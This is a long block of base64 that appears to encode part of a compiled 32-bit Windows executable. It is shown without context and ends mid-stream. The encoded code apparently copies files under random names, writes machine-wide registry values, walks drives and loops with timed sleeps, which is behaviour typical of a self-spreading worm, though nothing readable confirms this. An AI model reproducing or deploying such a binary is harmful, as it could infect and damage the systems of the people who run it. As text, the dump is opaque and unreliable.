AFNoBA5BAOiK3f//UFfoTv3//4PEHIvDX15bycNVi+yD7BRXjU3s6DfA//+NRfxqAFCNTez/ dQjoKcD//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6PkgAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOi9LAAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+ZiIAAI1f/FNWV+in 3v//i0UMVoPAFFBX6GUkAABT6ADe//9TVlfoL97//4PEKGoBXluNTezoUMD//4vGXl/Jw1NV VldqAmiTC0EA6LDc//+LHfTQQABZWVD/04s1ONFAAIvohe2/kwxBAHQ5agFX6Izc//9ZWVBV /9ZqBFejCDlJAOh53P//WVlQVf/WagVXowQ5SQDoZtz//1lZUFX/1qMMOUkAagNokwtBAOhP 3P//WVlQ/9OL6IXtdBNqA1foPNz//1lZUFX/1qMQOUkAv8gNQQBX/9OL2IXbdBNqAVfoG9z/ /1lZUFP/1qMUOUkAX15dW8NVi+yB7EwGAABTVleNTeToxL7//4t9CDPbV4ld9OiQ7///hcBZ D4VqAgAAV+jP+P//hcBZD4VbAgAAvvsMQQBTVuj12///iUX8jYW4+v//U1BTU1fo7x8AAIPE HDld/IldCH4x/3UIVuie2///OBhZWXQXUI2FuPr//1DoleP//1mFwFkPhQsCAAD/RQiLRQg7 Rfx8z42FyP7//1Dog+X//42FvPv//8cEJAQBAABQU/8VFNFAAI2FyP7//1NQjYW8+///UP8V fNBAAIXAD4TCAQAAizWA0EAAjYXI/v//aiBQ/9ZoAFABAI2FyP7//1dQ6LH0//+DxAyFwA+E hwEAAI1F+FNQV41N5OjMvf//O8OJRQgPhG4BAACBffgAUAEAD4ZZAQAAgX34AAAwAA+DTAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6PgeAACNhbT5//9QjYXE/f//UOiKHQAAjYW8+/// UI2FxP3//1Dodx0AAI2FxP3//2is8EAAUOhmHQAAagRqA42FwPz//2oDUOgj3f//D76FwPz/ /1DotSAAAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6CsdAACNRfRQ/3X4/3UI6BkaAACDxBQ7 w4lFCI1N5A+EoQAAAOiuvf///3X0jYXE/f///3UIUOha4///jYXE/f//UOiq+v//g8QQjYXE /f//aidQ/9aNRcxQV+io5v//WYlF/FlqIFf/1lONhcj+//9XUP8VfNBAAI2FyP7//1DoUOT/ /42FxP3//1Bo1ABBAOiKHAAAaMDwQABX6DT8//+DxBQ5Xfx0DI1FzFBX6J3m//9ZWf91COj+ IAAAWWoBWOsXjU3k6A29//+Nhcj+//9Q6P7j//9ZM8BfXlvJw1WL7IHsKAQAAFaNTejoKrz/ /4Nl/ACNRfhqAVD/dQiNTejoGLz//4vwhfYPhJMAAACNheD9//9QjYXY+///UI2F3Pz//1CN heT+//9Q/3UI6FcdAACNhdz8//9QjYXk/v//UOjpGwAAjYXY+///UI2F5P7//1Do1hsAAICl 5f3//wCNheH9//9QjYXk/v//UOi8GwAAjYXk/v//aNwBQQBQ6KsbAACNRfxQ/3X4VuiqGQAA i/CDxECF9o1N6HUJ6DW8//8zwOtU6Cy8////dfyNheT+//9WUOja4f//Vuj5HwAAg8QQM/b/ FcTQQABQjYXk/v//UOjY6///WYXAWXQZav9Q/xXA0EAAjYXk/v//UOjg4v//WWoBXovGXsnD VYvsgewEAQAAjYX8/v//aAQBAABQaKAxQQBqBWhSAkEA6CrY//9ZWVBoAQAAgOiO6f//agGN hfz+////dQz/dQhQ6ODo//+DxCTJw1WL7IHsDAIAAFMz2zldDFZXiV38D4WLAQAAvosJQQBT VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D 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 